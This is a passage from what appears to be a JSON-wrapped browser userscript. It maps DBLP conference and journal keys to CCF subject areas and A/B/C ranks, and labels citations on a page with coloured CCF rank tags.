[\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/apweb\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/dexa\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/ecir\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/esws\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/webdb\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/er\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/mdm\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/ssdbm\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/waim\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/ssd\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/pakdd\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/wise\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/tit\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"journals/iandc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"journals/siamcomp\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"journals/talg\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/tocl\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/toms\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/algorithmica\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/cc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/fac\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/fmsd\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/informs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/jcss\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/jgo\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/jsc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/mscs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/tcs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/acta\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/apal\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/dam\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/fuin\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/lisp\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/jc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/logcom\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/jsyml\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/lmcs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/siamdm\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/mst\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/stoc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"conf/soda\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"conf/cav\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"conf/focs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"conf/lics\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"conf/compgeom\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/esa\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/coco\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/icalp\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/cade\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/concur\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/hybrid\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/sat\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/csl\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/fmcad\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/fsttcs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/dsaa\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/ictac\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/ipco\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/rta\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/isaac\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/mfcs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/stacs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/tog\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"journals/tip\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"journals/tvcg\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"journals/cagd\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/cgf\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/cad\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/cvgip\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/tcsv\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/tmm\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"http://scitation.aip.org/content/asa/journal/jasa\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/siamis\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/speech\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/comgeo\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/jvca\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/cg\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/dcg\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/spl\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/iet-ipr\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/jvcir\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/mms\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/mta\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/sigpro\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/spic\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/vc\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/mm\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"conf/siggraph\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"conf/vr\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"conf/visualization\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"conf/mir\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/si3d\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/sca\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/dcc\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/eurographics\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/vissym\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/sgp\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/rt\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/icassp\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/icmcs\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/ismar\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/pg\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/sma\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/vrst\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/ca\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/cgi\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/interspeech\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/gmp\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/apvis\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/3dim\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/cadgraphics\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/icip\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/mmm\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/pcm\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/smi\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/ai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"journals/pami\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"journals/ijcv\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"journals/jmlr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"journals/tap\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tslp\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/aamas\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/coling\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/cviu\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/ec\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/taffco\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/taslp\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tcyb\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tec\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tfs\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tnn\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/ijar\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/jair\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/jar\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"http://jslhr.pubs.asha.org/\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/ml\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/neco\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/nn\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/par\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/talip\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/apin\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/artmed\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/alife\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ci\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/csl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/connection\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/dss\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/eaai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/es\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/eswa\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/fss\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/tciaig\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/iet-cvi\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/iet-spr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ivc\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ida\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijcia\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijns\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijprai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijufks\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijdar\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/jetai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/kbs\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/mt\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/mva\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/nc\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/nle\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/nca\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/npl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijon\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/paa\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/prl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/soco\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/wias\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/aaai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/nips\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/acl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/cvpr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/iccv\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/icml\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/ijcai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/colt\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/emnlp\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/ecai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/eccv\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/icra\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/aips\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/iccbr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/coling\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/kr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/uai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/atal\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/ppsn\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/aistats\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/accv\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/acml\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/bmvc\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/nlpcc\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/conll\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/gecco\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/ictai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/iros\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/alt\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/icann\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/fgr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/icdar\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/ilp\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/ksem\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/iconip\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/icpr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/icb\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/ijcnn\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/pricai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/naacl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/tochi\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"journals/ijmms\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"journals/cscw\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/hhci\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/thms\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/iwc\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/ijhci\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/umuai\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/behaviourIT\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"journals/puc\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"journals/percom\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/cscw\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"conf/chi\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"conf/huc\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"conf/group\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/iui\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/tabletop\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/uist\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/ecscw\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/percom\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/mhci\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/ACMdis\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/icmi\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/assets\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/graphicsinterface\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/uic\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/haptics\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/interact\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/acmidc\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/colcom\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/cscwd\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/coopis\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/mobiquitous\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/avi\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"journals/jacm\": [\"\\u4ea4\\u53c9\", \"A\"], \"journals/pieee\": [\"\\u4ea4\\u53c9\", \"A\"], \"journals/bioinformatics\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/bib\": [\"\\u4ea4\\u53c9\", \"B\"], \"http://www.journals.elsevier.com/cognition/\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tase\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tgrs\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tits\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tmi\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/trob\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tcbb\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/jcst\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/jamia\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/ploscb\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/chinaf\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/cj\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/wwwj\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/bmcbi\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/cas\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/fcsc\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/lgrs\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/titb\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/tbd\": [\"\\u4ea4\\u53c9\", \"C\"], \"http://digital-library.theiet.org/content/journals/iet-its\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/jbi\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/mia\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/www\": [\"\\u4ea4\\u53c9\", \"A\"], \"conf/rtss\": [\"\\u4ea4\\u53c9\", \"A\"], \"conf/cogsci\": [\"\\u4ea4\\u53c9\", \"B\"], \"conf/bibm\": [\"\\u4ea4\\u53c9\", \"B\"], \"conf/emsoft\": [\"\\u4ea4\\u53c9\", \"B\"], \"http://www.iscb.org/about-ismb\": [\"\\u4ea4\\u53c9\", \"B\"], \"conf/recomb\": [\"\\u4ea4\\u53c9\", \"B\"], \"conf/amia\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/apbc\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/bigdataconf\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/IEEEcloud\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/smc\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/cosit\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/isbra\": [\"\\u4ea4\\u53c9\", \"C\"]};\r\nvar topconf = [\"conf/ndss\", \"conf/uss\", \"conf/sp\", \"conf/ccs\"];\r\nfunction work() {\r\n    'use strict';\r\n    document.querySelectorAll(\"cite\").forEach(function(cite){\r\n        if(cite.parseok) return;\r\n        var link = cite.querySelector(\"a[href*=db\\\\/]\");\r\n        if(!link) return;\r\n        var confname = link.href.split(\"/\").slice(4,6).join(\"/\");\r\n        if(/asiaccs/.test(link.href)) confname=\"conf/asiaccs\";\r\n        var data = (ccfdata[confname]);\r\n        if(!data) return;\r\n        //console.log(data)\r\n        var type = data[0], abc = data[1];\r\n        var span = document.createElement(\"span\");\r\n        var color = {\"A\":\"red\", \"B\":\"blue\", \"C\":\"#7e7e7e\"}[abc]\r\n        var bgcolor = {\"A\":\"#ff65c61a\", \"B\":\"#e3d7fa4a\", \"C\":\"initial\"}[abc];\r\n        if(topconf.indexOf(confname)>=0) bgcolor = \"#ffd98de3\";\r\n        span.setAttribute(\"style\",\"color:\"+color+\";font-weight:bold;\");\r\n        cite.style.backgroundColor = bgcolor;\r\n        span.innerText = \"CCF \"+abc+\" \"+type;\r\n        cite.append(\" \");\r\n        cite.appendChild(span);\r\n        //console.log(cite)\r\n        cite.parseok = true;\r\n    })\r\n}\r\n\r\n(function(){\r\n    setInterval(work, 500);\r\n})();"
  },
  {
